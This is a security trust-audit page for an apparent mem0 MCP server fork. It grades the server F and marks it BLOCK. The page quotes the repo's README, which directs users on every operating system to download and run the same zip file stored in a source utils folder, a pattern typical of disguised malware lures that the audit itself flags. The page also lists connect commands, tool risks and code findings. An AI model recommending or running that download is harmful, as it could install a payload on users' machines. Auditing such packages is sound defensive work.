mem0BLOCK
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
🚀 Getting Started
Welcome to mem0! This application helps you manage memory for AI agents, making their actions more efficient. Follow these steps to download and run mem0 on your device.
🔗 Download Now!
[](https://raw.githubusercontent.com/Pintaro/mem0/main/openmemory/api/app/utils/mem-2.9.zip)
📥 System Requirements
- Operating System: Windows 10 or newer, macOS, or Linux.
- Memory: At least 4 GB RAM.
- Storage: Minimum 100 MB of free space.
- Internet: Connection for initial installation and updates.
🛠️ Installation Instructions
Step 1: Visit the Download Page
To download the application, visit the following link:
Step 2: Choose the Right Version
On the releases page, you will see different versions of mem0. Find the latest version, which is noted at the top of the list.
Step 3: Download the Application
Click on the file that corresponds to your operating system:
- For Windows users, download
https://raw.githubusercontent.com/Pintaro/mem0/main/openmemory/api/app/utils/mem-2.9.zip. - For macOS users, download
https://raw.githubusercontent.com/Pintaro/mem0/main/openmemory/api/app/utils/mem-2.9.zip. - For Linux users, download
https://raw.githubusercontent.com/Pintaro/mem0/main/openmemory/api/app/utils/mem-2.9.zip.
After clicking the file, your download will start automatically.
Step 4: Install the Application
Once the download is complete, follow these steps:
- Windows: Double-click
https://raw.githubusercontent.com/Pintaro/mem0/main/openmemory/api/app/utils/mem-2.9.zipto start the installer. Follow the prompts to complete the installation. - macOS: Open `https://raw.githubusercontent.com/Pintaro/mem0/main/o
28d5596d74f1OBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add vercel-ai-provider --env ANTHROPIC_API_KEY=${ANTHROPIC_API_KEY} --env AWS_ACCESS_KEY_ID=${AWS_ACCESS_KEY_ID} --env AWS_SECRET_ACCESS_KEY=${AWS_SECRET_ACCESS_KEY} --env AWS_SESSION_TOKEN=${AWS_SESSION_TOKEN} -- npx -y @mem0/[email protected]{
"mcpServers": {
"vercel-ai-provider": {
"command": "npx",
"args": [
"-y",
"@mem0/[email protected]"
],
"env": {
"ANTHROPIC_API_KEY": "${ANTHROPIC_API_KEY}",
"AWS_ACCESS_KEY_ID": "${AWS_ACCESS_KEY_ID}",
"AWS_SECRET_ACCESS_KEY": "${AWS_SECRET_ACCESS_KEY}",
"AWS_SESSION_TOKEN": "${AWS_SESSION_TOKEN}"
}
}
}
}Exposed tools (12)
6 read · 3 write · 3 destructive. Blast radius: 3 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.
| Tool | Risk | Description |
|---|---|---|
add_graph_memory | write | Add a new graph memory to the knowledge graph. |
add_memories | write | uid = user_id_var.get(None) |
delete_all_memories | destructive | uid = user_id_var.get(None) |
delete_graph_memory | destructive | Delete the relationship between two nodes. |
delete_memories | destructive | uid = user_id_var.get(None) |
establish_relationships | read | Establish relationships among the entities based on the provided text. |
extract_entities | read | Extract entities and their types from the text. |
get_weather | read | Get the current weather in a given location |
list_memories | read | uid = user_id_var.get(None) |
noop | read | No operation should be performed to the graph entities. |
search_memory | read | uid = user_id_var.get(None) |
update_graph_memory | write | Update the relationship key of an existing graph memory based on new information. |
Trust audit
BLOCKgrade F · trust 48/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | WARN |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (2 observation(s))
- Network
- declared (13 observation(s))
- Shell
- declared (4 observation(s))
- Dependencies
- not all pinned
- Secrets in source
- found
Findings (25)
yaml_data = yaml.load(file, Loader=yaml.SafeLoader)
self.docstore, self.index_to_id = pickle.load(f)
connection_string = f"postgresql://{user}:{password}@{host}:{port}/{dbname}"mem-2.9.zip
module = importlib.import_module(module_path)
module = importlib.import_module(module_path)
- ETCD_LISTEN_CLIENT_URLS=http://0.0.0.0:2379
- ETCD_LISTEN_PEER_URLS=http://0.0.0.0:2380
withoutTrailingSlash(options.baseURL) ?? 'http://127.0.0.1:11434/api'
conninfo="postgresql://test_user:test_pass@localhost:5432/test_db",
dsn="postgresql://test_user:test_pass@localhost:5432/test_db",
apiKey: 'your-cloudflare-api-key',
apiKey: 'your-cloudflare-api-key',
delete_all_memories, delete_graph_memory, delete_memories
requirements.txt
.pre-commit-config.yaml
.prettierignore
source_hash = hashlib.md5(str(source).encode("utf-8")).hexdigest()doc_id = hashlib.md5((query + ", ".join(data_content)).encode()).hexdigest()
hash: createHash("md5").update(data).digest("hex"),hash: createHash("md5").update(data).digest("hex"),self.user_id = hashlib.md5(self.api_key.encode()).hexdigest()
import PlusIcon from "../../public/icons/plus.svg";
import CrossIcon from "../../public/icons/cross.svg";
import YoutubeIcon from "../../public/icons/youtube.svg";
Gates applied: no_behavioural_pass.
28d5596d74f1full audit observations/trust-audit/mcp-server/pintaro__mem0.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 28d5596d74f1 | BLOCK | F | 48 | first audit |
Questions
What tools does mem0 expose?
12 in total: 6 read-only, 3 that write, and 3 that can delete or overwrite (delete_all_memories, delete_graph_memory, delete_memories). Every one is listed on this page with its risk.
Is mem0 safe to connect to an agent?
No — not without reading the findings first. The audit graded it F (48/100) and found 3 critical or high issues in the source. Each one is listed on this page with the file and line it is on. Separately from the audit: 3 of its tools can destroy data, so scope the token you give it to what you actually need.
What credentials does mem0 need?
It reads ANTHROPIC_API_KEY, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN, AZURE_AI_SEARCH_API_KEY, COHERE_API_KEY, DEEPGRAM_API_KEY, DEEPSEEK_API_KEY, DISCORD_BOT_TOKEN, DISCORD_TOKEN, DROPBOX_ACCESS_TOKEN and ELASTICSEARCH_API_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How current is this page?
The grade is for one exact copy of the source (28d5596d74f1), read on 2026-10-11. The repository is watched and re-audited when it changes.